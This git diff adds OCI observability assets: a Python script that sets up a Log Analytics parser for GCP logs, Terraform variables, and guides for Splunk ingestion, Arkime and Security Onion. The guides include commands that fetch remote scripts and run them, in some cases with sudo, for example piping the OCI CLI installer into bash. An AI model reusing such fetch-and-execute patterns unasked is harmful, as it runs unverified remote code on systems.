(exercises all 44 field mappings) ──────────── + +EXAMPLE_LOG = { + "cloudProvider": "GCP", + "insertId": "abc123def456-0", + "timestamp": "2026-01-15T10:30:00.000Z", + "receiveTimestamp": "2026-01-15T10:30:00.500Z", + "severity": "INFO", + "logName": "projects/my-project/logs/cloudaudit.googleapis.com%2Factivity", + "resource": { + "type": "cloud_run_revision", + "labels": { + "project_id": "my-project", + "zone": "us-central1-a", + "instance_id": "1234567890", + "configuration_name": "my-service", + "location": "europe-west1", + "service_name": "my-service", + "revision_name": "my-service-00001-abc", + "subscription_id": "my-subscription", + "topic_id": "my-topic", + "name": "my-log-sink", + "destination": "pubsub.googleapis.com/projects/my-project/topics/export", + }, + }, + "protoPayload": { + "@type": "type.googleapis.com/google.cloud.audit.AuditLog", + "methodName": "v1.compute.instances.start", + "serviceName": "compute.googleapis.com", + "authenticationInfo": {"principalEmail": "user@example.com"}, + "resourceName": "projects/my-project/zones/us-central1-a/instances/my-instance", + "requestMetadata": { + "callerIp": "203.0.113.50", + "callerSuppliedUserAgent": "google-cloud-sdk gcloud/450.0.0", + }, + "status": {}, + }, + "jsonPayload": {"message": "Instance started successfully"}, + "textPayload": "Container started on port 8080", + "httpRequest": { + "requestMethod": "GET", + "requestUrl": "https://my-service.europe-west1.run.app/api/health", + "status": 200, + "latency": "0.025s", + "protocol": "HTTP/1.1", + "remoteIp": "203.0.113.50", + "requestSize": "256", + "responseSize": "1024", + "serverIp": "10.0.0.1", + "userAgent": "Mozilla/5.0 (compatible; Googlebot/2.1)", + }, + "trace": "projects/my-project/traces/abc123def456789", + "spanId": "000000000000004a", + "operation": {"id": "operation-12345"}, + "sourceLocation": {"file": "handler.py", "line": "42", "function": "handleRequest"}, + "labels": {"instanceId": "00a1b2c3d4e5f6"}, +} + + +# ── Field Creation ──────────────────────────────────────────── + +def create_fields(client, namespace): + """Create or upsert all 40 custom fields. + + Returns a dict mapping display_name -> internal_name. + """ + field_map = {} + for display_name in FIELD_DISPLAY_NAMES: + details = UpsertLogAnalyticsFieldDetails() + details.display_name = display_name + details.data_type = "String" + details.is_multi_valued = False + try: + resp = client.upsert_field(namespace, details) + field_map[display_name] = resp.data.name + print(f" Field OK {resp.data.name:12s} -> {display_name}") + except oci.exceptions.ServiceError: + # Field may already exist; look it up + try: + fields = client.list_fields( + namespace, display_name_contains=display_name + ).data.items + for f in fields: + if f.display_name == display_name: + field_map[display_name] = f.name + print(f" Field EXISTS {f.name:12s} -> {display_name}") + break + except Exception as exc: + print(f" Field ERR: {display_name}: {exc}") + return field_map + + +# ── Parser Creation ─────────────────────────────────────────── + +PARSER_NAME = "gcpCloudLoggingJsonParser" + + +def create_parser(client, namespace, field_map): + """Create or upsert the JSON parser with 44 field mappings.""" + parser_field_maps = [] + for name_or_display, json_path, seq in FIELD_MAPPINGS: + internal = field_map.get(name_or_display, name_or_display) + parser_field_maps.append( + LogAnalyticsParserField( + field=LogAnalyticsField(name=internal), + parser_field_name=internal, + parser_field_sequence=seq, + storage_field_name=internal, + structured_column_info=json_path, + ) + ) + + example_content = json.dumps(EXAMPLE_LOG, indent=2) + + parser_details = UpsertLogAnalyticsParserDetails( + name=PARSER_NAME, + display_name="GCP Cloud Logging JSON Parser", + description=( + "Parses all GCP Cloud Logging LogEntry JSON types with " + "44 field mappings covering audit, Cloud Run, HTTP request, " + "and metadata fields" + ), + type="JSON", + language="en_US", + encoding="UTF-8", + is_default=True, + is_single_line_content=False, + is_system=False, + header_content="$:0", + content=example_content, + example_content=example_content, + field_maps=parser_field_maps, + ) + + # Get existing etag for update (optimistic concurrency) + etag = None + try: + existing = client.get_parser(namespace, PARSER_NAME) + etag = existing.headers.get("etag") + except oci.exceptions.ServiceError: + pass + + kwargs = {"if_match": etag} if etag else {} + result = client.upsert_parser(namespace, parser_details, **kwargs) + print(f" Parser OK: {result.data.name} ({len(result.data.field_maps)} field maps)") + + +# ── Source Creation ─────────────────────────────────────────── + +SOURCE_NAME = "GCP Cloud Logging Logs" + + +def create_source(client, namespace, compartment_id): + """Create the Log Analytics source referencing the parser.""" + # Check if source already exists + try: + existing = client.list_sources( + namespace, compartment_id, + name=SOURCE_NAME, is_system="ALL", + ) + if existing.data.items: + print(f" Source EXISTS: {existing.data.items[0].name}") + return + except Exception: + pass + + # Build source JSON for OCI CLI (SDK source upsert is complex) + import subprocess + import tempfile + + parsers_json = json.dumps( + [{"name": PARSER_NAME, "isDefault": True}] + ) + entity_types_json = json.dumps( + [{"entityType": "oci_generic_resource", + "entityTypeCategory": "Undefined", + "entityTypeDisplayName": "OCI Generic Resource"}] + ) + + with tempfile.NamedTemporaryFile(mode="w", suffix=".json", delete=False) as pf: + pf.write(parsers_json) + parsers_path = pf.name + with tempfile.NamedTemporaryFile(mode="w", suffix=".json", delete=False) as ef: + ef.write(entity_types_json) + entity_path = ef.name + + try: + cmd = [ + "oci", "log-analytics", "source", "upsert-source", + "--namespace-name", namespace, + "--name", "gcpCloudLoggingSource", + "--display-name", SOURCE_NAME, + "--description", + "GCP Cloud Logging structured logs from Pub/Sub via OCI Streaming", + "--type-name", "os_file", + "--is-system", "false", + "--is-for-cloud", "false", + "--parsers", f"file://{parsers_path}", + "--entity-types", f"file://{entity_path}", + ] + result = subprocess.run(cmd, capture_output=True, text=True) + if result.returncode == 0: + print(f" Source created: {SOURCE_NAME}") + else: + print(f" Source warning: {result.stderr[:200]}") + print(" Source may need manual creation via OCI Console or setup_oci.sh") + finally: + os.unlink(parsers_path) + os.unlink(entity_path) + + +# ── Main ────────────────────────────────────────────────────── + +def main(): + namespace = os.environ.get("LA_NAMESPACE") + compartment_id = os.environ.get("OCI_COMPARTMENT_ID") + + if not namespace: + print("ERROR: LA_NAMESPACE environment variable is required") + sys.exit(1) + if not compartment_id: + print("ERROR: OCI_COMPARTMENT_ID environment variable is required") + sys.exit(1) + + print(f"Log Analytics namespace: {namespace}") + print(f"Compartment: {compartment_id[:40]}...") + print() + + client = get_client() + + print("--- Creating custom fields (40) ---") + field_map = create_fields(client, namespace) + print(f" Total: {len(field_map)} fields\n") + + print("--- Creating JSON parser (44 field mappings) ---") + create_parser(client, namespace, field_map) + print() + + print("--- Creating Log Analytics source ---") + create_source(client, namespace, compartment_id) + print() + + print("Log Analytics custom content setup complete.") + + +if __name__ == "__main__": + main() diff --git a/observability-and-management/assets/gcplogs2oci/stack/variables.tf b/observability-and-management/assets/gcplogs2oci/stack/variables.tf new file mode 100644 index 000000000..b055d83b3 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/stack/variables.tf @@ -0,0 +1,88 @@ +# ───────────────────────────────────────────────────────────── +# variables.tf – Input variables for the gcplogs2oci OCI Stack +# ───────────────────────────────────────────────────────────── + +# --- Required --- + +variable "compartment_ocid" { + description = "Compartment OCID where all resources will be created" + type = string +} + +variable "region" { + description = "OCI region (e.g. us-ashburn-1, eu-frankfurt-1)" + type = string +} + +variable "tenancy_ocid" { + description = "Tenancy OCID (used for IAM policies)" + type = string +} + +# --- OCI Streaming --- + +variable "stream_pool_name" { + description = "Display name for the Kafka-compatible Stream Pool" + type = string + default = "MultiCloud_Log_Pool" +} + +variable "stream_name" { + description = "Name for the inbound stream" + type = string + default = "gcp-inbound-stream" +} + +variable "stream_partitions" { + description = "Number of stream partitions" + type = number + default = 1 +} + +variable "stream_retention_in_hours" { + description = "Stream message retention in hours (24–168)" + type = number + default = 24 +} + +# --- Log Analytics --- + +variable "log_group_name" { + description = "Log Analytics log group display name" + type = string + default = "GCPLogs" +} + +variable "log_group_description" { + description = "Log Analytics log group description" + type = string + default = "GCP Cloud Logging imports via gcplogs2oci bridge" +} + +variable "log_analytics_namespace" { + description = "Log Analytics namespace (leave empty for auto-detection)" + type = string + default = "" +} + +# --- Connector Hub --- + +variable "sch_name" { + description = "Connector Hub display name" + type = string + default = "GCP-Stream-to-LogAnalytics" +} + +variable "sch_description" { + description = "Connector Hub description" + type = string + default = "Forwards GCP logs from OCI Streaming to Log Analytics using GCP Cloud Logging parser" +} + +# --- IAM --- + +variable "create_iam_policies" { + description = "Create IAM policies for SCH (set false if policies already exist)" + type = bool + default = true +} diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/README.md b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/README.md new file mode 100644 index 000000000..b6c7e9496 --- /dev/null +++ b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/README.md @@ -0,0 +1,143 @@ +# How to get logs into Splunk from OCI object storage + +One of the methods of Ingesting OCI Logs into a Splunk Instance without using a public-facing endpoint is by using and OCI Object Storage as the source of the Logs. This solution is not a Near-Real time one, but it has the capability to move the logs using Oracle Backbone without using any Internet facing solution. + +The solution that I proposed is based on: + +1. OCI Logging/OCI Audit + +2. Service Gateway + +3. Object Storage + +4. OCI CLI + +5. OCI VCN + +6. Service Connector + +7. Splunk capability to read files from folders (In my case, the VM is the Splunk instance, running in OCI) + +In the Diagram, the Splunk instance can reside on-premise or in OCI as is in my case and will use OCI CLI to get the logs locally. + +![Picture 32](./images/image-01.png) + +1 — Create a new OCI Bucket used for logs Storage →Buckets + +![Picture 31](./images/image-02.png) + +![Picture 30](./images/image-03.png) + +2 — After the bucket is selected, you need to create a Service Connector that will send the logs to the Bucket. + +![Picture 29](./images/image-04.png) + +3 — Give the Service connector a name, and select the Source as Logging: + +![Picture 28](./images/image-05.png) + +and the Target Object Storage + +![Picture 27](./images/image-06.png) + +4 — Select the Logs you want to send to Splunk: + +![Picture 26](./images/image-07.png) + +5 — Select the Target Bucket that you previously created: + +![Picture 25](./images/image-08.png) + +6 — Press Create to allow Service Connector to use the bucket: + +![Picture 24](./images/image-09.png) + +7 — Press Create again to create the Service Connector: + +![Picture 23](./images/image-10.png) + +8 — Your Service Creator should be Active and showing the Source and the Target. + +![Picture 22](./images/image-11.png) + +9 — If you click on the connector you should see the configured Sources and you can edit it to add more logs. + +![Picture 21](./images/image-12.png) + +10 — Next step on my enviornment was to connect to my splunk instance (ssh) + +11 — Create a folder for the logs( any location from where Splunk can read) + +mkdir /home/opc/logs + +12 — Make sure you have OCI CLI Installed. You can use this page for your your OS of choice: + +Quickstart + +This section contains quick installation instructions for the following environments: If you're using Oracle Linux 8… + +docs.oracle.com + +I have used the bash script: + +```text +bash -c "$(curl -L https://raw.githubusercontent.com/oracle/oci-cli/master/scripts/install/install.sh)" +``` + +I have also used oci setup command to generate the configuration file and generate the API key that I have uploaded to a dedicated user. The configuration file will contain this data into the profile. + +![Picture 19](./images/image-13.png) + +Go to the user → Resources and press [API Keys](https://docs.cloud.oracle.com/Content/API/Concepts/apisigningkey.htm). Add the key that was generated by oci setup command. + +![Picture 18](./images/image-14.png) + +![Picture 17](./images/image-15.png) + +Check if the configuration file was succesful by running any oci cli command. I have used oci ds ns get + +![Picture 16](./images/image-16.png) + +Now that OCI CLI works I will run a bulk download command to get the logs: + +```text +oci os object bulk-download — bucket-name LogTest1— download-dir ocid1.serviceconnector.oc1.eu-frankfurt-1.amaaaxcxxxxxx / — no-overwrite +``` + +Replace LogTest 1 and Directory name with your own . + +Logs will go to the folder: + +![Picture 15](./images/image-17.png) + +Next step is to go to Splunk and specify the folder from where to read the data Login → Press Settings → Data Inputs: + +![Picture 14](./images/image-18.png) + +Click Files and Directory → Add New: + +![Picture 13](./images/image-19.png) + +Press Browse and select the location where the files are downloaded: + +![Picture 12](./images/image-20.png) + +You can enforce the file type by using a regex. OCI Logs are in log.gz format. + +![Picture 11](./images/image-21.png) + +Click on Files and Directories and you should see the logs being ingested by splunk: + +![Picture 10](./images/image-22.png) + +If you have installed Splunk App for OCI logs, you will be able also to see the data parsed in that app with different dashboards: + +![Picture 9](./images/image-23.png) + +![Picture 8](./images/image-24.png) + +Congratulations! You have ingested now logs into Splunk using OCI Object Storage. + +To be sure that your traffic is private, you need to check the private route table and see that All FRA Services are routed through your VCN Service Gateway. + +![Picture 7](./images/image-25.png) diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-01.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-01.png new file mode 100644 index 000000000..39efc6f77 Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-01.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-02.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-02.png new file mode 100644 index 000000000..8f980b645 Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-02.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-03.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-03.png new file mode 100644 index 000000000..298b96e95 Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-03.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-04.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-04.png new file mode 100644 index 000000000..86000acf7 Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-04.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-05.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-05.png new file mode 100644 index 000000000..615dc00d8 Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-05.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-06.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-06.png new file mode 100644 index 000000000..8ce27c42c Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-06.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-07.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-07.png new file mode 100644 index 000000000..03eba1afc Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-07.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-08.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-08.png new file mode 100644 index 000000000..b53577019 Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-08.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-09.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-09.png new file mode 100644 index 000000000..82e40fe18 Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-09.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-10.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-10.png new file mode 100644 index 000000000..2ab1ddb71 Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-10.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-11.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-11.png new file mode 100644 index 000000000..702771eae Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-11.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-12.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-12.png new file mode 100644 index 000000000..aef39d8c2 Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-12.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-13.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-13.png new file mode 100644 index 000000000..df8099e2f Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-13.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-14.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-14.png new file mode 100644 index 000000000..63b73b0a1 Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-14.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-15.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-15.png new file mode 100644 index 000000000..991ef4e1d Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-15.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-16.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-16.png new file mode 100644 index 000000000..4c98fface Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-16.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-17.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-17.png new file mode 100644 index 000000000..b43924cb8 Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-17.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-18.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-18.png new file mode 100644 index 000000000..dd74af462 Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-18.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-19.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-19.png new file mode 100644 index 000000000..44c7cb265 Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-19.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-20.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-20.png new file mode 100644 index 000000000..c63c3e0d0 Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-20.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-21.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-21.png new file mode 100644 index 000000000..954aba184 Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-21.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-22.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-22.png new file mode 100644 index 000000000..242b3f1fe Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-22.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-23.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-23.png new file mode 100644 index 000000000..ce02d523c Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-23.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-24.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-24.png new file mode 100644 index 000000000..3dc12d6b2 Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-24.png differ diff --git a/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-25.png b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-25.png new file mode 100644 index 000000000..993108df4 Binary files /dev/null and b/observability-and-management/assets/get-logs-into-splunk-from-oci-object-storage/images/image-25.png differ diff --git a/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/README.md b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/README.md new file mode 100644 index 000000000..916d2a81f --- /dev/null +++ b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/README.md @@ -0,0 +1,82 @@ +# How to install Arkime(Moloch) using embedded Open Search + +How to install Arkime(Moloch) using embedded Open Search: + +1- Create the Ubuntu VM(I will use Ubuntu 20 as I tested before and worked perfectly) — make sure to increase the size of the disk to 500GB at least. + +![Picture 15](./images/image-01.png) + +Add this cloud Init Script: + +```text +#!/bin/bash +sudo apt-get -y update +sudo apt-get -y upgrade +####################################### +# Get Arkime# +####################################### +cd /home/ubuntu +wget https://github.com/arkime/arkime/releases/download/v5.3.0/arkime_5.3.0-1.ubuntu2004_amd64.deb +###Install Arkim3#### +sudo apt install -y ./arkime_5.3.0-1.ubuntu2004_amd64.deb +###Install Java### +sudo apt install -y default-jre +``` + +![Picture 14](./images/image-02.png) + +2- After the instance is created add the 2nd VNIC(Under resources →Attached VNIC’s → Create VNIC): + +![Picture 13](./images/image-03.png) + +3- Ssh to the instance and run: + +```text +curl https://docs.oracle.com/en-us/iaas/Content/Resources/Assets/secondary_vnic_all_configure.sh -O +chmod +x secondary_vnic_all_configure.sh +sudo ./secondary_vnic_all_configure.sh -c +``` + +![Picture 12](./images/image-04.png) + +ls + +4- Run Arkime Config and select ens5 as the monitoring interface ( 2nd VNIC): + +```text +sudo /opt/arkime/bin/Configure +``` + +![Picture 11](./images/image-05.png) + +8 — After the configuration is finished, proceed with the steps 5 and forward: + +![Picture 10](./images/image-06.png) + +9 —Start opensearch: + +```text +sudo systemctl start elasticsearch +/opt/arkime/db/db.pl --esuser admin:ThePasswordDefinedEarlier localhost:9200 init +/opt/arkime/bin/arkime_add_user.sh admin "Admin User" THEPASSWORD --admin +sudo systemctl start arkimecapture.service +sudo systemctl start arkimeviewer.service +``` + +![Picture 9](./images/image-07.png) + +10. Open port 8005 on Ubuntu Instance and also port 4789 for the VTAP on 2nd NIC. In OCI Ubuntu is not using ufw, so you need to add this manually: + +```text +sudo vi /etc/iptables/rules.v4 +sudo iptables-restore < /etc/iptables/rules.v4 +``` + +```text +-A INPUT -p tcp -m state --state NEW -m tcp --dport 8005 -j ACCEPT +-A INPUT -p udp -m state --state NEW -m udp --dport 4789 -j ACCEPT +``` + +![Picture 8](./images/image-08.png) + +![Picture 7](./images/image-09.png) diff --git a/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-01.png b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-01.png new file mode 100644 index 000000000..7e44de993 Binary files /dev/null and b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-01.png differ diff --git a/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-02.png b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-02.png new file mode 100644 index 000000000..e428e4f3f Binary files /dev/null and b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-02.png differ diff --git a/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-03.png b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-03.png new file mode 100644 index 000000000..5f555f9dd Binary files /dev/null and b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-03.png differ diff --git a/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-04.png b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-04.png new file mode 100644 index 000000000..a3ce602c9 Binary files /dev/null and b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-04.png differ diff --git a/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-05.png b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-05.png new file mode 100644 index 000000000..5c74b6696 Binary files /dev/null and b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-05.png differ diff --git a/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-06.png b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-06.png new file mode 100644 index 000000000..a755f7d30 Binary files /dev/null and b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-06.png differ diff --git a/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-07.png b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-07.png new file mode 100644 index 000000000..3ef36e7fd Binary files /dev/null and b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-07.png differ diff --git a/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-08.png b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-08.png new file mode 100644 index 000000000..7c5966794 Binary files /dev/null and b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-08.png differ diff --git a/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-09.png b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-09.png new file mode 100644 index 000000000..c92bc883e Binary files /dev/null and b/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/images/image-09.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/README.md b/observability-and-management/assets/install-security-onion-on-oci/README.md new file mode 100644 index 000000000..6f01cce05 --- /dev/null +++ b/observability-and-management/assets/install-security-onion-on-oci/README.md @@ -0,0 +1,143 @@ +# How to install Security Onion on OCI + +If you plan to create your own Security Operation Center using open-source solutions, one of the best Threat Detection and Monitoring, threat hunting, enterprise security monitoring, and log management is [Security Onion](https://securityonionsolutions.com/software/). + +In this guide I will show you how to manually install Security Onion, and how to add an additional VNIC Adapter for VCN Traffic Capturing. + +Install Ubuntu + +Go to OCI →Menu →Compute →Instances and click Create Instance: + +![Picture 31](./images/image-01.png) + +Fill the fields, Select the compartment and Ad and select Ubuntu Shape: + +![Picture 30](./images/image-02.png) + +Select Ubuntu 20 from Browse all Images menu: + +![Picture 29](./images/image-03.png) + +Select the Shape you want to use ( Build it your self as you want) : + +![Picture 28](./images/image-04.png) + +Select the VCN and the subnet: + +![Picture 27](./images/image-05.png) + +Upload or generate the new ssh key for Ubuntu user: + +![Picture 26](./images/image-06.png) + +Increase the boot volume of the server, as you will need more then 50 GB on the long run for security monitoring and press create. Recommended is 250 to start, as Security Union is asking 200 GB on setup. + +![Picture 25](./images/image-07.png) + +After the Instance is created, click on the Attached VNICs and add the additional VNIC that will capture the network traffic. + +![Picture 24](./images/image-08.png) + +![Picture 23](./images/image-09.png) + +Next step is to SSH to the newly created instance and start the Installation by running this commands: + +sudo so-allow is used for opening the Security Onion Service ports. + +![Picture 22](./images/image-10.png) + +After the 2nd VNIC is added it will appear as ens5 + +```text +curl https://docs.oracle.com/en-us/iaas/Content/Resources/Assets/secondary_vnic_all_configure.sh -O +chmod +x secondary_vnic_all_configure.sh +sudo ./secondary_vnic_all_configure.sh -c +``` + +![Picture 21](./images/image-11.png) + +After running sudo bash so-setup-network command you will be redirected to Security Onion Install menu: + +![Picture 20](./images/image-12.png) + +Press Yes + +Select Install Type and press OK. I have selected Evaluation mode. + +![Picture 18](./images/image-13.png) + +Type AGREE to Agree with the Elastic Stack Licensing. + +![Picture 17](./images/image-14.png) + +As I selected less space for the Boot Volume that the required space I got this error, but I continued the installation: + +![Picture 16](./images/image-15.png) + +Next you enter the hostname and press Ok: + +![Picture 15](./images/image-16.png) + +And you select Yes that the DNS and other prerequistes are configured. + +![Picture 14](./images/image-17.png) + +You accept the risk of DHCP IP Changing: + +![Picture 13](./images/image-18.png) + +You select ens3 as the management VNIC: + +![Picture 12](./images/image-19.png) + +Press OK on next step and select connection as Direct, if you don’t have a proxy in place: + +![Picture 11](./images/image-20.png) + +Wait for checks to be done: + +![Picture 10](./images/image-21.png) + +Select ens5 as the monitoring interface: + +![Picture 9](./images/image-22.png) + +Define your internal IP’s that are allowed to connect to your Security Onion Server and press OK: + +![Picture 8](./images/image-23.png) + +Install the Optional Services that you want to use and press Ok: + +![Picture 7](./images/image-24.png) + +Keep the Docker IP range and press OK: + +![Picture 6](./images/image-25.png) + +Create the management user and set the password: + +![Picture 5](./images/image-26.png) + +Specify how you like to access the instance: + +![Picture 4](./images/image-27.png) + +![Picture 3](./images/image-28.png) + +Select the IP that is allowed to access the Security Onion. I selected all, as this is in a private subnet, and the instace will be destroyed after the demo. + +![Picture 2](./images/image-29.png) + +Press yes and wait for the installation to finish: + +![Picture 1](./images/image-30.png) + +Congratulations! You have a new Security Onion Instance running on OCI. + +run the script to be sure the 2nd VNIC Is up and running properly: + +```text +curl https://docs.oracle.com/en-us/iaas/Content/Resources/Assets/secondary_vnic_all_configure.sh -O +chmod +x secondary_vnic_all_configure.sh +sudo ./secondary_vnic_all_configure.sh -c +``` diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-01.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-01.png new file mode 100644 index 000000000..c6bbf0d09 Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-01.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-02.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-02.png new file mode 100644 index 000000000..69bbc017d Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-02.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-03.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-03.png new file mode 100644 index 000000000..42b555799 Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-03.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-04.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-04.png new file mode 100644 index 000000000..6c15bff25 Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-04.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-05.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-05.png new file mode 100644 index 